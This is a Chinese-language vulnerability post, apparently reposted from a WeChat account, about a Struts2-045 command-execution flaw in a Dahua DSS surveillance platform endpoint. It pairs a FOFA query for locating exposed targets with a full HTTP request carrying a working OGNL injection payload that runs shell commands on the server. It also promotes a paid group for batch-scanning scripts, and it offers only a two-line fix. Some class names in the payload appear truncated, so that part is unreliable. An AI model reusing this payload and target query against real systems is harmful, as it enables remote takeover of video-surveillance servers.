漏洞免责声明：文章来源互联网收集整理，请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
Ⅰ、漏洞描述
-
大华DSS（Digital Surveillance System）是大华技术有限公司开发的一款数字监控系统。该系统提供了全面的视频监控解决方案，包括视频录像、实时监控、远程监控、智能分析等功能。
大华DSS城市安防监控平台login_init.action接口存在Struct2-045命令执行漏洞，恶意攻击者可能利用此漏洞执行恶意命令，获取服务器敏感信息，最终可能导致服务器失陷。
Ⅱ、FOFA语句
app="dahua-DSS"
Ⅲ、漏洞复现
POC
POST /portal/login_init.action HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Type: %{(#nike='multipart/form-data').(#dm=.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo Hello World!').(#iswin=(.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}Cache-Control: no-cachePragma: no-cacheAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-Length: 0
1、发送数据包执行命令
Ⅳ、Nuclei-POC
Ⅴ、修复建议
1、更新至新版本
2、设置安全访问控制策略。
完整POC及批量检测脚本请前往圈子获取，圈子每天不定时更新漏洞3-5篇，加入圈子即可进入内部群，近期漏洞更新列表如下，此表所更漏洞信息均可在内部群获取
联系圈主
月更列表和周更列表请前往交流群"ONE PIECE"获取链接，联系圈主进群，备注来意
往期全部漏洞合集内容可点击下方名片进入公众号主页，选择漏洞合集查看（点击右上角订阅可第一时间获取漏洞更新信息）
原文始发于微信公众号（伟大航路D）：大华DSS城市安防监控平台login_init.action接口存在Struct2-045命令执行漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论